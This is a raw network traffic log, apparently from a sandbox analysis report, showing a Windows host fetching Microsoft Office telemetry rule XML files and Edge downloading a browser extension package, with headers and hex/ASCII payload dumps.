2024-11-17 02:42:32 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:32 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:33 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 0687e1b8-601e-0001-3ef1-36faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024233Z-164f84587bf28gjzhC1DFW35kg00000003kg00000000gmhw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:33 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49794	142.250.185.193	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:33 UTC	594	OUT	GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:33 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AFiumC5Xc7PCblPSMtjmlgODCsbBt0jlAicAKrRp_k-iKuZnr-2lW4aJrD9jR7ZEIrq5AFBQA7Y X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Sat, 16 Nov 2024 17:35:54 GMT Expires: Sun, 16 Nov 2025 17:35:54 GMT Cache-Control: public, max-age=31536000 Age: 32799 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-17 02:42:33 UTC	812	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-17 02:42:33 UTC	1378	IN	Data Raw: 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc 7e b6 70 ca 3d d5 33 Data Ascii: Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ~p=3
2024-11-17 02:42:33 UTC	1378	IN	Data Raw: d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 ee 75 a8 ae 07 7e 6c Data Ascii: xC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$u~l
2024-11-17 02:42:33 UTC	1378	IN	Data Raw: f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 09 91 a0 a4 e8 82 d5 Data Ascii: H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-17 02:42:33 UTC	1378	IN	Data Raw: bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 2d 1d cf 3d 1a be 73 Data Ascii: !3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w-=s
2024-11-17 02:42:33 UTC	1378	IN	Data Raw: 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 b4 ff a2 0b 44 8c 6c Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?BrfDl
2024-11-17 02:42:33 UTC	1378	IN	Data Raw: 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 0a 53 59 ae f5 66 32 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79SYf2
2024-11-17 02:42:33 UTC	1378	IN	Data Raw: 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 21 00 dd 3a a8 e3 88 Data Ascii: [{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&!:
2024-11-17 02:42:33 UTC	1378	IN	Data Raw: a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f ae 25 09 87 d3 41 99 Data Ascii: TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/%A
2024-11-17 02:42:33 UTC	1378	IN	Data Raw: 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 73 73 61 67 65 73 2e Data Ascii: v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/messages.

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:33 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:33 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 75c16ba8-801e-0067-10f8-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024233Z-164f84587bfmxxfphC1DFW3au8000000027g000000001v31 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:33 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:33 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 30a84257-201e-006e-3afb-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024233Z-1866b5c5fbbfhwqqhC1DFW513800000002zg00000000p7vf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:33 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:33 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 15e9ab73-801e-0047-76bb-377265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024233Z-1866b5c5fbbkbjq9hC1DFWf1es00000002pg000000004yu1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:33 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:33 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:33 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: f23710ee-101e-000b-743d-385e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024233Z-164f84587bfdfkt7hC1DFW4fas00000001n000000000me7z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
